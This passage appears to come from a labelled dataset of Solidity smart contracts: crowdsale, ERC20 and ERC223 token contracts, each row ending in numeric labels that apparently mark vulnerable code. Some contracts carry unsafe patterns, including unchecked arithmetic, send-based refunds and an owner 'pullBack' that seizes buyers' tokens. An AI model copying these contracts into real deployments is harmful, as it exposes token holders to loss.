inState(State.BONUS_MINTING)
noAnyReentrancy
{
assert(!allBonusesAreMinted);
allBonusesAreMinted = true;
uint TEAM_AND_PARTNERS_PER_CENT = TEAM_BONUS_PER_CENT + ADVISORS_AND_PARTNERS_PER_CENT;
uint total_presale_amount_with_bonus = mintPresaleBonuses();
uint total_collected_amount = total_received_amount + total_presale_amount_with_bonus;
uint extra_amount = total_collected_amount * TEAM_AND_PARTNERS_PER_CENT / (100 - TEAM_AND_PARTNERS_PER_CENT);
uint extra_team_amount = extra_amount * TEAM_BONUS_PER_CENT / TEAM_AND_PARTNERS_PER_CENT;
uint extra_partners_amount = extra_amount * ADVISORS_AND_PARTNERS_PER_CENT / TEAM_AND_PARTNERS_PER_CENT;
_mint(extra_team_amount , TEAM_GROUP_WALLET);
_mint(extra_partners_amount, ADVISERS_AND_FRIENDS_WALLET);
}
function mintPresaleBonuses() internal returns(uint amount) {
uint total_presale_amount_with_bonus = 0;
for(uint i=0; i < PRESALE_ADDRESSES.length; ++i) {
address addr = PRESALE_ADDRESSES[i];
var amount_with_bonus = presaleTokenAmount(addr);
if (amount_with_bonus>0) {
_mint(amount_with_bonus, addr);
total_presale_amount_with_bonus += amount_with_bonus;
}
}
return total_presale_amount_with_bonus;
}
function presaleTokenAmount(address addr) public constant returns(uint){
uint presale_balance = PRESALE_BALANCES.balances(addr);
if (presale_balance > 0) {
var rawVote = PRESALE_BONUS_VOTING.rawVotes(addr);
if (rawVote == 0) rawVote = 1 ether;
else if (rawVote <= 10 finney) rawVote = 0;
else if (rawVote > 1 ether) rawVote = 1 ether;
var presale_bonus = presale_balance * PRE_SALE_BONUS_PER_CENT * rawVote / 1 ether / 100;
return presale_balance + presale_bonus;
} else {
return 0;
}
}
function attachToToken(MintableToken tokenAddr) external
inState(State.BEFORE_START)
only(owner)
{
TOKEN = tokenAddr;
}
function abort() external
inStateBefore(State.REFUND_RUNNING)
only(owner)
{
isAborted = true;
}
function _sendRefund() private
tokenHoldersOnly
{
var amount_to_refund = balances[msg.sender] + msg.value;
balances[msg.sender] = 0;
if (!msg.sender.send(amount_to_refund)) throw;
}
function _receiveFundsUpTo(uint amount) private
notTooSmallAmountOnly
{
require (amount > 0);
if (msg.value > amount) {
var change_to_return = msg.value - amount;
if (!msg.sender.send(change_to_return)) throw;
} else {
amount = msg.value;
}
if (balances[msg.sender] == 0) investors.push(msg.sender);
balances[msg.sender] += amount;
total_received_amount += amount;
_mint(amount,msg.sender);
}
function _mint(uint amount, address account) private {
MintableToken(TOKEN).mint(amount * TOKEN_PER_ETH, account);
}
function currentState() private constant
returns (State)
{
if (isAborted) {
return this.balance > 0
? State.REFUND_RUNNING
: State.CLOSED;
} else if (block.number < COMMUNITY_SALE_START || address(TOKEN) == 0x0) {
return State.BEFORE_START;
} else if (block.number < PRIORITY_SALE_START) {
return State.COMMUNITY_SALE;
} else if (block.number < PUBLIC_SALE_START) {
return total_received_amount < COMMUNITY_PLUS_PRIORITY_SALE_CAP
? State.PRIORITY_SALE
: State.PRIORITY_SALE_FINISHED;
} else if (block.number <= PUBLIC_SALE_END && total_received_amount < MAX_TOTAL_AMOUNT_TO_RECEIVE) {
return State.PUBLIC_SALE;
} else if (this.balance == 0) {
return State.CLOSED;
} else if (block.number <= WITHDRAWAL_END && total_received_amount >= MIN_TOTAL_AMOUNT_TO_RECEIVE) {
return allBonusesAreMinted
? State.WITHDRAWAL_RUNNING
: State.BONUS_MINTING;
} else {
return State.REFUND_RUNNING;
}
}
modifier inState(State state) {
if (state != currentState()) throw;
_;
}
modifier inStateBefore(State state) {
if (currentState() >= state) throw;
_;
}
modifier tokenHoldersOnly(){
if (balances[msg.sender] == 0) throw;
_;
}
modifier notTooSmallAmountOnly(){
if (msg.value < MIN_ACCEPTED_AMOUNT) throw;
_;
}
address[] PRESALE_ADDRESSES = [
0xF55DFd2B02Cf3282680C94BD01E9Da044044E6A2,
0x0D40B53828948b340673674Ae65Ee7f5D8488e33,
0x0ea690d466d6bbd18F124E204EA486a4Bf934cbA,
0x6d25B9f40b92CcF158250625A152574603465192,
0x481Da0F1e89c206712BCeA4f7D6E60d7b42f6C6C,
0x416EDa5D6Ed29CAc3e6D97C102d61BC578C5dB87,
0xD78Ac6FFc90E084F5fD563563Cc9fD33eE303f18,
0xe6714ab523acEcf9b85d880492A2AcDBe4184892,
0x285A9cA5fE9ee854457016a7a5d3A3BB95538093,
0x600ca6372f312B081205B2C3dA72517a603a15Cc,
0x2b8d5C9209fBD500Fd817D960830AC6718b88112,
0x4B15Dd23E5f9062e4FB3a9B7DECF653C0215e560,
0xD67449e6AB23c1f46dea77d3f5E5D47Ff33Dc9a9,
0xd0ADaD7ed81AfDa039969566Ceb8423E0ab14d90,
0x245f27796a44d7E3D30654eD62850ff09EE85656,
0x639D6eC2cef4d6f7130b40132B3B6F5b667e5105,
0x5e9a69B8656914965d69d8da49c3709F0bF2B5Ef,
0x0832c3B801319b62aB1D3535615d1fe9aFc3397A,
0xf6Dd631279377205818C3a6725EeEFB9D0F6b9F3,
0x47696054e71e4c3f899119601a255a7065C3087B,
0xf107bE6c6833f61A24c64D63c8A7fcD784Abff06,
0x056f072Bd2240315b708DBCbDDE80d400f0394a1,
0x9e5BaeC244D8cCD49477037E28ed70584EeAD956,
0x40A0b2c1B4E30F27e21DF94e734671856b485966,
0x84f0620A547a4D14A7987770c4F5C25d488d6335,
0x036Ac11c161C09d94cA39F7B24C1bC82046c332B,
0x2912A18C902dE6f95321D6d6305D7B80Eec4C055,
0xE1Ad30971b83c17E2A24c0334CB45f808AbEBc87,
0x07f35b7FE735c49FD5051D5a0C2e74c9177fEa6d,
0x11669Cce6AF3ce1Ef3777721fCC0eef0eE57Eaba,
0xBDbaF6434d40D6355B1e80e40Cc4AB9C68D96116,
0x17125b59ac51cEe029E4bD78D7f5947D1eA49BB2,
0xA382A3A65c3F8ee2b726A2535B3c34A89D9094D4,
0xAB78c8781fB64Bed37B274C5EE759eE33465f1f3,
0xE74F2062612E3cAE8a93E24b2f0D3a2133373884,
0x505120957A9806827F8F111A123561E82C40bC78,
0x00A46922B1C54Ae6b5818C49B97E03EB4BB352e1,
0xE76fE52a251C8F3a5dcD657E47A6C8D16Fdf4bFA
];
} | 1 | 2,755 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
interface OldXRPCToken {
function transfer(address receiver, uint amount) external;
function balanceOf(address _owner) external returns (uint256 balance);
function mint(address wallet, address buyer, uint256 tokenAmount) external;
function showMyTokenBalance(address addr) external;
}
contract ARBITRAGEToken is ERC20Interface,Ownable {
using SafeMath for uint256;
uint256 public totalSupply;
mapping(address => uint256) tokenBalances;
string public constant name = "ARBITRAGE";
string public constant symbol = "ARB";
uint256 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 10000000;
address ownerWallet;
mapping (address => mapping (address => uint256)) allowed;
event Debug(string message, address addr, uint256 number);
function ARBITRAGEToken(address wallet) public {
owner = msg.sender;
ownerWallet=wallet;
totalSupply = INITIAL_SUPPLY * 10 ** 18;
tokenBalances[wallet] = INITIAL_SUPPLY * 10 ** 18;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(tokenBalances[msg.sender]>=_value);
tokenBalances[msg.sender] = tokenBalances[msg.sender].sub(_value);
tokenBalances[_to] = tokenBalances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= tokenBalances[_from]);
require(_value <= allowed[_from][msg.sender]);
tokenBalances[_from] = tokenBalances[_from].sub(_value);
tokenBalances[_to] = tokenBalances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function totalSupply() public constant returns (uint) {
return totalSupply - tokenBalances[address(0)];
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function () public payable {
revert();
}
function balanceOf(address _owner) constant public returns (uint256 balance) {
return tokenBalances[_owner];
}
function mint(address wallet, address buyer, uint256 tokenAmount) public onlyOwner {
require(tokenBalances[wallet] >= tokenAmount);
tokenBalances[buyer] = tokenBalances[buyer].add(tokenAmount);
tokenBalances[wallet] = tokenBalances[wallet].sub(tokenAmount);
Transfer(wallet, buyer, tokenAmount);
totalSupply=totalSupply.sub(tokenAmount);
}
function pullBack(address wallet, address buyer, uint256 tokenAmount) public onlyOwner {
require(tokenBalances[buyer]>=tokenAmount);
tokenBalances[buyer] = tokenBalances[buyer].sub(tokenAmount);
tokenBalances[wallet] = tokenBalances[wallet].add(tokenAmount);
Transfer(buyer, wallet, tokenAmount);
totalSupply=totalSupply.add(tokenAmount);
}
function showMyTokenBalance(address addr) public view returns (uint tokenBalance) {
tokenBalance = tokenBalances[addr];
}
}
contract ARBITRAGECrowdsale {
struct Stakeholder
{
address stakeholderAddress;
uint stakeholderPerc;
}
using SafeMath for uint256;
ARBITRAGEToken public token;
OldXRPCToken public prevXRPCToken;
uint256 public startTime;
Stakeholder[] ownersList;
address public walletOwner;
Stakeholder stakeholderObj;
uint256 public coinPercentage = 5;
uint256 public ratePerWei = 1657;
uint256 public maxBuyLimit=2000;
uint256 public tokensSoldInThisRound=0;
uint256 public totalTokensSold = 0;
uint256 public weiRaised;
bool public isCrowdsalePaused = false;
address partnerHandler;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function ARBITRAGECrowdsale(address _walletOwner, address _partnerHandler) public {
prevXRPCToken = OldXRPCToken(0xAdb41FCD3DF9FF681680203A074271D3b3Dae526);
startTime = now;
require(_walletOwner != 0x0);
walletOwner=_walletOwner;
stakeholderObj = Stakeholder({
stakeholderAddress: walletOwner,
stakeholderPerc : 100});
ownersList.push(stakeholderObj);
partnerHandler = _partnerHandler;
token = createTokenContract(_walletOwner);
}
function createTokenContract(address wall) internal returns (ARBITRAGEToken) {
return new ARBITRAGEToken(wall);
}
function () public payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require (isCrowdsalePaused != true);
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(ratePerWei);
require(tokensSoldInThisRound.add(tokens)<=maxBuyLimit);
weiRaised = weiRaised.add(weiAmount);
token.mint(walletOwner, beneficiary, tokens);
tokensSoldInThisRound=tokensSoldInThisRound+tokens;
TokenPurchase(walletOwner, beneficiary, weiAmount, tokens);
totalTokensSold = totalTokensSold.add(tokens);
uint partnerCoins = tokens.mul(coinPercentage);
partnerCoins = partnerCoins.div(100);
forwardFunds(partnerCoins);
}
function forwardFunds(uint256 partnerTokenAmount) internal {
for (uint i=0;i<ownersList.length;i++)
{
uint percent = ownersList[i].stakeholderPerc;
uint amountToBeSent = msg.value.mul(percent);
amountToBeSent = amountToBeSent.div(100);
ownersList[i].stakeholderAddress.transfer(amountToBeSent);
if (ownersList[i].stakeholderAddress!=walletOwner && ownersList[i].stakeholderPerc>0)
{
token.mint(walletOwner,ownersList[i].stakeholderAddress,partnerTokenAmount);
}
}
}
function updateOwnerShares(address[] partnersAddresses, uint[] partnersPercentages) public{
require(msg.sender==partnerHandler);
require(partnersAddresses.length==partnersPercentages.length);
uint sumPerc=0;
for(uint i=0; i<partnersPercentages.length;i++)
{
sumPerc+=partnersPercentages[i];
}
require(sumPerc==100);
delete ownersList;
for(uint j=0; j<partnersAddresses.length;j++)
{
delete stakeholderObj;
stakeholderObj = Stakeholder({
stakeholderAddress: partnersAddresses[j],
stakeholderPerc : partnersPercentages[j]});
ownersList.push(stakeholderObj);
}
}
function validPurchase() internal constant returns (bool) {
bool nonZeroPurchase = msg.value != 0;
return nonZeroPurchase;
}
function showMyTokenBalance() public view returns (uint256 tokenBalance) {
tokenBalance = token.showMyTokenBalance(msg.sender);
}
function pullBack(address buyer) public {
require(msg.sender==walletOwner);
uint bal = token.balanceOf(buyer);
token.pullBack(walletOwner,buyer,bal);
}
function setPriceRate(uint256 newPrice) public returns (bool) {
require(msg.sender==walletOwner);
ratePerWei = newPrice;
}
function setMaxBuyLimit(uint256 maxlimit) public returns (bool) {
require(msg.sender==walletOwner);
maxBuyLimit = maxlimit *10 ** 18;
}
function startNewICORound(uint256 maxlimit, uint256 newPrice) public returns (bool) {
require(msg.sender==walletOwner);
setMaxBuyLimit(maxlimit);
setPriceRate(newPrice);
tokensSoldInThisRound=0;
}
function getCurrentICORoundInfo() public view returns
(uint256 maxlimit, uint256 newPrice, uint tokensSold) {
return(maxBuyLimit,ratePerWei,tokensSoldInThisRound);
}
function pauseCrowdsale() public returns(bool) {
require(msg.sender==walletOwner);
isCrowdsalePaused = true;
}
function resumeCrowdsale() public returns (bool) {
require(msg.sender==walletOwner);
isCrowdsalePaused = false;
}
function tokensRemainingForSale() public view returns (uint256 balance) {
balance = token.balanceOf(walletOwner);
}
function checkOwnerShare (address owner) public constant returns (uint share) {
require(msg.sender==walletOwner);
for(uint i=0;i<ownersList.length;i++)
{
if(ownersList[i].stakeholderAddress==owner)
{
return ownersList[i].stakeholderPerc;
}
}
return 0;
}
function changePartnerCoinPercentage(uint percentage) public {
require(msg.sender==walletOwner);
coinPercentage = percentage;
}
function airDropToOldTokenHolders(address[] oldTokenHolders) public {
require(msg.sender==walletOwner);
for(uint i = 0; i<oldTokenHolders.length; i++){
if(prevXRPCToken.balanceOf(oldTokenHolders[i])>0)
{
token.mint(walletOwner,oldTokenHolders[i],prevXRPCToken.balanceOf(oldTokenHolders[i]));
}
}
}
function changeWalletOwner(address newWallet) public {
require(msg.sender==walletOwner);
walletOwner = newWallet;
}
} | 1 | 3,130 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint indexed value, bytes data);
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract ERC223Token is ERC223Basic, BasicToken, ERC223Receiver {
using SafeMath for uint;
using AddressUtils for address;
function tokenFallback(address, uint, bytes) public {
revert();
}
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if (_to.isContract()) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ERC223MintableToken is MintableToken, ERC223Token {
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
bytes memory empty;
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
if (_to.isContract()) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(address(this), _amount, empty);
}
emit Mint(_to, _amount);
emit Transfer(msg.sender, _to, _amount, empty);
return true;
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Squirrex";
string public constant TOKEN_SYMBOL = "SQRX";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0xb3938B5A09386a941C52E70C9B575C7b236805b7;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
, ERC223MintableToken
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0xb3938b5a09386a941c52e70c9b575c7b236805b7)];
uint[1] memory amounts = [uint(1000000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0 | 258 |
pragma solidity ^0.4.24;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract OPTToken{
string public name = 'Optimus Chain Token';
string public symbol = 'OPT';
uint8 public decimals = 18;
uint256 public initialSupply = 1000000000;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
constructor() public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
} | 1 | 3,437 |
pragma solidity ^0.4.21;
contract OrganicumOrders {
struct order {
uint256 balance;
uint256 tokens;
}
mapping (address => order) public orders;
address[] public holders;
uint256 public supplyTokens;
uint256 public supplyTokensSaved;
uint256 public tokenDecimal = 18;
uint256 minAmount = 1000;
uint256 softCap = 5000000;
uint256 supplyInvestmen = 0;
uint16 fee = 500;
uint256 public etherCost = 60000;
address public owner;
uint256 public startDate = 1521849600;
uint256 public firstPeriod = 1522540800;
uint256 public secondPeriod = 1525132800;
uint256 public thirdPeriod = 1527811200;
uint256 public endDate = 1530403200;
function OrganicumOrders()
{
owner = msg.sender;
}
modifier isOwner()
{
assert(msg.sender == owner);
_;
}
function changeOwner(address new_owner) isOwner
{
assert(new_owner != address(0x0));
assert(new_owner != address(this));
owner = new_owner;
}
function changeEtherCost(uint256 new_cost) isOwner external
{
assert(new_cost > 0);
etherCost = new_cost*100;
}
function getPrice() constant returns(uint256)
{
if(now < firstPeriod)
{
return 95;
}
else if(now < secondPeriod)
{
return 100;
}
else if(now < thirdPeriod)
{
return 110;
}
else
{
return 120;
}
}
function () payable
{
assert(now >= startDate && now < endDate);
assert((msg.value * etherCost)/10**18 >= minAmount);
if(orders[msg.sender].balance == 0 && orders[msg.sender].tokens == 0)
{
holders.push(msg.sender);
}
uint256 countTokens = (msg.value * etherCost) / getPrice();
orders[msg.sender].balance += msg.value;
orders[msg.sender].tokens += countTokens;
supplyTokens += countTokens;
supplyTokensSaved += countTokens;
supplyInvestmen += msg.value;
}
function orderFor(address to) payable
{
assert(now >= startDate && now < endDate);
